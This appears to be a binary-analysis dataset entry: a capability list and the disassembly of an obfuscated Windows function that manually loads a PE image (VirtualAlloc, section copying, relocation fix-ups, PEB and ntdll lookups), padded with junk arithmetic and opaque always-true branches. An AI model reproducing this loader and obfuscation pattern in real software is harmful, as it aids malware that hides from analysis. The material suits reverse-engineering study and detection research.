Function at 0x403ac0
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Get process filename
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x144
mov eax, dword [ebp + 8]
vmovss xmm0, dword [0x4181b4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181b0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181ac]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403b05
jmp 0x403b1f
vmovss xmm0, dword [0x4181bc]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181b8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181c0]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403b3b
jmp 0x403b55
vmovss xmm0, dword [0x4181c8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181c4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181cc]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403b71
jmp 0x403b8b
vmovss xmm0, dword [0x4181d4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181d0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181d8]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403ba7
jmp 0x403bc1
vmovss xmm0, dword [0x4181e0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181dc]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181e4]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403bdd
jmp 0x403bf7
vmovss xmm0, dword [0x4181ec]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181e8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181f8]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4181f4]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4181f0]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403c2d
jmp 0x403c47
vmovss xmm0, dword [0x418200]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4181fc]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418204]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403c63
jmp 0x403c7d
vmovss xmm0, dword [0x41820c]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418208]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418210]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403c99
jmp 0x403cb3
vmovss xmm0, dword [0x418218]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418214]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x41821c]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403ccf
jmp 0x403ce9
vmovss xmm0, dword [0x418224]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418220]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418228]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403d05
jmp 0x403d1f
vmovss xmm0, dword [0x418230]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x41822c]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x41823c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418238]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418234]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403d55
jmp 0x403d6f
vmovss xmm0, dword [0x418244]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418240]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418248]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403d8b
jmp 0x403da5
vmovss xmm0, dword [0x418250]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x41824c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418254]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403dc1
jmp 0x403ddb
vmovss xmm0, dword [0x41825c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418258]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418260]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403df7
jmp 0x403e11
vmovss xmm0, dword [0x418268]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418264]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x41826c]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403e2d
jmp 0x403e47
vmovss xmm0, dword [0x418274]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418270]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418280]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41827c]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418278]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403e7d
jmp 0x403e97
vmovss xmm0, dword [0x418288]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418284]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41828c]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403eb3
jmp 0x403ecd
vmovss xmm0, dword [0x418294]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418290]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418298]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403ee9
jmp 0x403f03
vmovss xmm0, dword [0x4182a0]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41829c]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182a4]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403f1f
jmp 0x403f39
vmovss xmm0, dword [0x4182ac]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182a8]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182b0]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403f55
jmp 0x403f6f
vmovss xmm0, dword [0x4182b8]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182b4]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182c4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182c0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182bc]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x403fa5
jmp 0x403fbf
vmovss xmm0, dword [0x4182cc]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182c8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182d0]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x403fdb
jmp 0x403ff5
vmovss xmm0, dword [0x4182d8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182d4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182dc]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x404011
jmp 0x40402b
vmovss xmm0, dword [0x4182e4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182e0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182e8]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x404047
jmp 0x404061
vmovss xmm0, dword [0x4182f0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182ec]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182f4]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x40407d
jmp 0x404097
vmovss xmm0, dword [0x4182fc]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182f8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x418308]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418304]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418300]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x4040cd
jmp 0x4040e7
vmovss xmm0, dword [0x418310]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41830c]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418314]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x404103
jmp 0x40411d
vmovss xmm0, dword [0x41831c]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418318]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418320]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x404139
jmp 0x404153
vmovss xmm0, dword [0x418328]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418324]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41832c]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x40416f
jmp 0x404189
vmovss xmm0, dword [0x418334]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418330]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418338]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x4041a5
jmp 0x4041bf
vmovss xmm0, dword [0x418340]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41833c]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41834c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418348]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418344]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x4041f5
jmp 0x40420f
vmovss xmm0, dword [0x418354]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418350]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418358]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x40422b
jmp 0x404245
vmovss xmm0, dword [0x418360]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x41835c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418364]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x404261
jmp 0x40427b
vmovss xmm0, dword [0x41836c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418368]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418370]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x404297
jmp 0x4042b1
vmovss xmm0, dword [0x418378]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418374]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x41837c]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x4042cd
jmp 0x4042e7
vmovss xmm0, dword [0x418384]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418380]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418390]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x41838c]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x418388]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x40431d
jmp 0x404337
vmovss xmm0, dword [0x418398]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x418394]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x41839c]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x404353
jmp 0x40436d
vmovss xmm0, dword [0x4183a4]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183a0]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183a8]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x404389
jmp 0x4043a3
vmovss xmm0, dword [0x4183b0]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183ac]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183b4]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x4043bf
jmp 0x4043d9
vmovss xmm0, dword [0x4183bc]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183b8]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183c0]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x4043f5
jmp 0x40440f
vmovss xmm0, dword [0x4183c8]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183c4]
vmovss dword [ebp - 0x30], xmm0
and edi, 0x92
rcr esi, 0xf4
dec edi
not ebx
imul eax
and edi, 0xb7
ror edi, 0x4e
bswap esi
not esi
rcr esi, 0xd9
neg ebx
bswap edx
rol edx, 0xf4
bswap ebx
neg eax
rcr edi, 0x66
rol edx, 0x69
not esi
sub ebx, 0x29
and edx, 0xd7
neg edx
neg edi
dec esi
bswap edi
inc eax
mov edi, 0xe3
add esi, 0xad
neg esi
bswap eax
inc eax
imul esi
neg ebx
rol esi, 0x4c
sbb ebx, 0x47
dec esi
rol ebx, 0xd2
dec esi
neg esi
add ebx, 0xc9
inc edx
neg ebx
dec edx
imul ebx
rcr edi, 0x44
and edi, 9
rcl edi, 0x5a
imul edx
not edx
sub eax, 0x3c
neg eax
ror eax, 0x9f
ror esi, 0x3d
inc edx
imul edx
rcr eax, 0x1f
dec edi
sub edi, 0xd7
not esi
imul eax
neg esi
neg edi
mov esi, 0x87
rol ebx, 0x91
dec ebx
dec esi
not ebx
inc esi
neg edx
neg esi
sbb edi, 6
dec eax
not ebx
imul edi
sub ebx, 0xcf
bswap eax
neg esi
rol edi, 0x44
rcl edi, 0xdd
dec esi
imul eax
bswap ebx
neg edi
rol edx, 0x40
inc esi
or edx, 3
bswap eax
rcl esi, 0x1b
imul edi
bswap ebx
dec esi
or eax, 0xa9
sbb edi, 0xe
and ebx, 0xcc
imul esi
imul edx
add eax, 0xc6
neg ebx
sbb esi, 0x47
neg esi
bswap edx
not esi
rol edx, 0xfe
rcr ebx, 0xca
dec ebx
rol esi, 0x77
sub esi, 0xd3
sbb eax, 0xd9
sbb eax, 0xb9
ror edx, 0x45
and ebx, 0xbf
add eax, 0xcf
or esi, 0xb4
rcl eax, 0xec
ror esi, 0xfb
add esi, 0
not edi
imul esi
rcl eax, 0x17
or edi, 0x23
rcr esi, 0xe6
add ebx, 0x50
bswap ebx
rcl edi, 0xec
bswap ebx
rcl eax, 0xa7
bswap edi
dec esi
add edx, 0x4b
inc eax
not edi
mov eax, 0x69
mov esi, 0xc1
or edi, 0xf8
add eax, 0x2a
ror eax, 0xd9
rcr esi, 0xa5
rcr ebx, 0xa5
and ebx, 0xc2
imul edi
imul esi
sbb eax, 0x47
sbb edx, 0xd9
rol edi, 0xfd
ror edx, 0x92
inc edi
bswap eax
not eax
mov eax, 0xe0
neg edi
neg edx
dec edi
inc ebx
inc edi
and edx, 0xc9
imul esi
dec eax
neg esi
dec ebx
sbb edx, 0xda
and edi, 0x65
and edx, 0x96
imul edi
neg esi
inc eax
imul edi
imul edi
not ebx
bswap edx
not ebx
mov ebx, 0x29
rcl esi, 0xad
dec ebx
neg eax
or ebx, 0xef
not eax
imul edx
not esi
neg eax
rol esi, 0xea
rcl ebx, 0xf3
bswap esi
not eax
and edx, 0x76
rol edi, 5
bswap esi
imul esi
not esi
add edx, 0xf9
mov edi, 0xda
not eax
rcr edx, 0x1e
dec edx
ror edx, 0xd
bswap edi
rcr ebx, 0x75
bswap edx
rcr esi, 0xbb
dec ebx
bswap eax
imul eax
mov dword [ebp - 0x10], eax
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x62c00
call fcn.00403830
lea eax, section..data
mov dword [ebp + 8], eax
add esi, 0x6e
rcr edi, 0x11
mov edx, 0xa9
or edi, 0x59
not ebx
neg edx
and esi, 0xa9
not esi
ror eax, 0x48
rcl edi, 0x65
imul ebx
neg edi
add edx, 0x76
imul edx
or eax, 0xd9
imul edx
neg esi
inc eax
not edx
rol eax, 0xd6
imul eax
neg esi
dec eax
rcl eax, 0x96
ror edx, 0x2f
add eax, 0xc3
bswap edi
imul eax
imul esi
rcl edx, 0xbb
rol edx, 0x56
rcl esi, 0xf4
dec ebx
not edx
sbb esi, 0x5b
rcl esi, 0xaf
or edi, 0x7a
dec eax
rol eax, 0
add edx, 0xff
rcr edx, 0x4b
sbb edx, 0xe8
mov edx, 0xfc
not ebx
inc esi
add ebx, 0xeb
ror ebx, 0xca
not esi
bswap eax
add esi, 0x89
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x34]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
cmp dword [eax], 0x4550
je 0x40470d
mov dword [ebp - 0x10], 1
jmp 0x405ae2
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x40], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x3c], 0
je 0x404745
xor eax, eax
mov dword [ebp - 0x138], eax
jmp 0x404751
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x138]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x3c], 0
jne 0x4047a5
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ecx + 0x34]
je 0x4047a5
mov dword [ebp - 0x10], 2
jmp 0x405ae2
imul edi
imul edx
imul esi
rol ebx, 0x62
imul esi
sub eax, 0xc4
inc edi
sbb esi, 0x1a
dec eax
not eax
neg edx
inc edi
rcl edx, 0x38
not edx
not eax
mov edi, 0
rcr esi, 0x90
mov ebx, 0xdd
rol edi, 0x63
not esi
imul eax
rcl edx, 0x55
neg edx
not ebx
and edi, 0xbf
sub edi, 0xdd
dec esi
sbb ebx, 0x71
neg esi
or edx, 0x6b
and edx, 0xd7
mov edi, 0x96
sub esi, 0xdd
and ebx, 0xde
mov edi, 0xf7
neg edi
bswap edx
imul edi
bswap eax
or edx, 0x1a
ror esi, 0x75
sub edx, 0xab
sbb esi, 0x61
ror edi, 0xec
not edx
ror ebx, 0x70
imul esi
rcr edx, 0xa
or edx, 0x9c
inc edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x44]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00403a90
neg eax
imul eax
sub edx, 0xca
or ebx, 0x5b
imul edx
not edx
neg esi
and edx, 0x4c
ror eax, 0x62
not edx
bswap esi
not edx
rol edi, 0xe9
rol edi, 0x21
rcr ebx, 0xf6
ror ebx, 0x56
bswap esi
sbb eax, 0x28
inc esi
dec ebx
imul edx
imul edi
neg edx
neg edx
imul ebx
not edi
neg ebx
neg ebx
dec edx
mov edx, 0x3d
mov edx, 0x49
rcr esi, 0x4b
mov eax, 0x10
imul edx
imul edx
imul edi
rol eax, 0xac
dec ebx
or edx, 0x97
add esi, 0x7e
and esi, 0x28
mov edi, 0xd5
bswap esi
imul edi
neg eax
inc eax
add eax, 0x61
not esi
dec ebx
sbb edx, 0xf0
rol edi, 0x96
add esi, 0x61
imul eax
dec ebx
imul edi
dec edx
bswap edx
rcr edi, 0xe9
neg esi
dec ebx
rol edx, 0xdc
not edi
rcl edi, 0xb6
not edx
mov ebx, 0x88
sbb ebx, 0x46
inc edi
rcr esi, 0xc1
sbb edx, 0x84
sbb ebx, 0x1c
neg ebx
sbb ebx, 0x1d
not eax
imul eax
or edx, 0x7d
inc edx
imul ebx
bswap esi
inc edx
ror edi, 0x25
rcl eax, 0xd3
dec eax
imul ebx
and eax, 0xa6
bswap edi
neg edi
and edi, 0x47
or edi, 0x84
or edx, 0xb9
or eax, 0xb4
sbb esi, 0x29
not eax
dec edi
rol esi, 0xa0
sbb edi, 4
rcr ebx, 0x47
or edx, 0xed
rcl edi, 5
dec esi
mov esi, 0x35
add eax, 0x2d
not esi
inc edx
rcr edx, 0xa2
bswap eax
bswap eax
bswap ebx
imul ebx
imul edi
sub eax, 0x14
sbb eax, 0x63
rol esi, 0xd2
not eax
sbb edx, 0x94
rol esi, 0xa6
and edx, 0x94
or esi, 0xdf
neg ebx
rcr esi, 0x6d
ror edx, 0x54
rol edi, 0x9b
ror ebx, 0xe3
neg ebx
dec edi
ror edx, 0x6e
neg eax
sbb ebx, 0x5f
not ebx
bswap ebx
inc esi
sbb edi, 0x29
rcl esi, 0xf1
dec edx
dec esi
neg edi
sub esi, 0xbd
rcl edi, 0x44
sub ebx, 0xff
imul edx
dec esi
bswap esi
inc esi
rol edx, 0x2e
ror ebx, 0xa4
ror eax, 0xe9
dec eax
neg edx
ror edi, 0x51
ror edx, 0x8f
dec esi
add esi, 0xd
rcl ebx, 0x3e
and edx, 0xb5
inc ebx
neg edx
sbb eax, 0xe8
inc ebx
dec ebx
inc eax
dec eax
rol ebx, 0x2f
bswap eax
rcl edx, 0x7d
rol edi, 0xeb
not esi
dec ebx
rcl edi, 0xb0
rcr edi, 0x28
and edx, 0x97
neg edx
ror edi, 0xdb
bswap esi
imul ebx
and edi, 0x8e
not esi
neg edx
not ebx
not edx
bswap esi
rcl ebx, 0x5d
rcl esi, 0x3b
not esi
add edi, 0x76
add esi, 0x48
inc ebx
and edi, 0x41
mov esi, 0x4e
dec edi
sub edx, 0xa2
not esi
rcr edi, 0xd7
or edx, 0x9b
neg eax
inc esi
imul eax
inc ebx
imul eax
bswap esi
inc edx
inc eax
imul edi
sub ebx, 0xcf
add edx, 0x98
and eax, 0xce
bswap eax
or esi, 0x36
imul edi
rcl ebx, 0x6f
rol edi, 0xeb
rcr ebx, 0xd0
dec edx
imul eax
not ebx
sub edx, 0xa3
dec edi
not eax
imul esi
not eax
neg edx
ror edi, 0x3a
mov edx, 0x66
dec eax
mov esi, 0xd8
rcr edi, 0x49
ror edi, 0xf7
sub eax, 0x92
rcl esi, 0x7b
inc ebx
neg ebx
and ebx, 0x24
inc edx
dec edi
rcr esi, 0x18
bswap edx
sub edi, 0xc9
neg eax
neg edx
neg edi
sub eax, 0xff
imul ebx
imul edi
not ebx
imul edi
sbb edx, 0xc2
imul eax
mov edi, 0x13
sbb edx, 0xf3
rcl ebx, 0x75
dec edi
sbb eax, 0x17
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
add eax, 0x18
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x404b72
mov eax, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x4c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x48]
imul esi, dword [ebp - 0x4c], 0x28
add edx, esi
add ecx, dword [edx + 0x14]
mov edx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x48]
imul edi, dword [ebp - 0x4c], 0x28
add esi, edi
add edx, dword [esi + 0xc]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00403a90
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
jmp 0x404b18
sub eax, 0x76
mov ebx, 0xad
rcr edx, 0x21
not eax
inc edi
neg eax
bswap edx
neg esi
bswap edx
rcl ebx, 0x4b
bswap esi
and esi, 0xb7
mov ebx, 0x89
rcr esi, 0x55
sbb esi, 0x2a
rol esi, 0xb2
bswap eax
bswap edx
and esi, 0x84
dec edx
rol esi, 0xc1
and edx, 0x3e
imul eax
rcr edx, 0x80
or edx, 0xef
neg edi
rcl esi, 0x18
bswap esi
neg edi
or ebx, 0xfd
rol esi, 0x5a
ror ebx, 0x36
imul eax
ror esi, 4
sbb esi, 0x7e
imul eax
dec edi
not ebx
mov edi, 0xb9
sbb edx, 0
mov edx, 0xa9
sbb ebx, 0x20
bswap eax
not edx
dec ebx
inc ebx
ror eax, 0x63
or ebx, 0x80
neg ebx
not esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ecx + 0x34]
je 0x404cd1
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], 0
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x3c]
jae 0x404ccc
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x54]
add eax, dword [ecx]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x54]
add eax, 8
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x60]
jge 0x404cb5
mov eax, dword [ebp - 0x64]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x404c9e
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x64]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
add eax, 2
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x68]
add eax, 1
mov dword [ebp - 0x68], eax
jmp 0x404c65
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x54], eax
jmp 0x404c30
jmp 0x404cd1
sbb eax, 0x10
bswap edx
sbb edx, 0xfd
imul edi
inc edi
sub edx, 0xa9
imul edx
add eax, 0x1b
inc esi
imul edi
sub ebx, 0xe9
rol edx, 0x3f
and esi, 0x34
dec edi
sub edx, 0x5a
rol edx, 0xb6
sbb eax, 0x36
add edx, 0x77
rcl eax, 0x79
not edi
bswap edx
sub edx, 0x7b
inc edx
neg ebx
bswap edi
sbb esi, 0x37
inc edi
mov edi, 0xc0
bswap esi
rol eax, 0xd6
dec edx
not ebx
add edx, 0x83
sbb ebx, 0xa
add edx, 0xdc
bswap edi
sub eax, 0x6f
rol esi, 0x91
inc edx
neg ebx
add edi, 0x39
dec eax
bswap eax
inc edx
neg ebx
rol ebx, 0xa8
ror edi, 0xcf
bswap eax
and edi, 0x7d
or edx, 0xe6
sbb ebx, 0xd
sbb edx, 0x96
rcr eax, 0x85
imul edx
dec esi
or eax, 0xa8
mov ebx, 0xe6
dec edi
neg ebx
mov edi, 0x33
and esi, 0xb8
sbb eax, 0xda
or esi, 0x8d
imul edi
mov ebx, 0xab
neg edx
or edx, 0x94
add esi, 0x50
imul eax
rol edi, 0x59
ror edx, 0xa6
not eax
imul edx
rcl edi, 0x83
sub ebx, 0x9f
not eax
not ebx
imul ebx
ror esi, 0xac
sbb edx, 0xd1
rcr ebx, 0x6c
mov edi, 0xf1
sbb edi, 0xe8
rol edi, 0x65
dec edi
bswap eax
and esi, 0x6e
sub edi, 0x76
mov eax, 0xdf
sbb edx, 0x95
bswap eax
dec esi
bswap edi
sub esi, 0x1f
and ebx, 0x33
rcl eax, 0x9a
rcr edx, 0xd9
dec eax
inc esi
inc esi
rcr eax, 0xb3
rcl eax, 0x64
dec esi
inc edi
inc ebx
sbb edi, 0xcb
neg eax
or ebx, 0x3d
ror eax, 0x27
sub ebx, 0xee
neg esi
dec esi
rol ebx, 0x8b
bswap esi
sub ebx, 6
imul edi
or edx, 0x13
rol ebx, 0x90
mov edx, 0x1b
imul edx
mov edx, 6
sub eax, 0x86
bswap eax
rcl edi, 0xc2
sbb edx, 0xc
inc edi
imul ebx
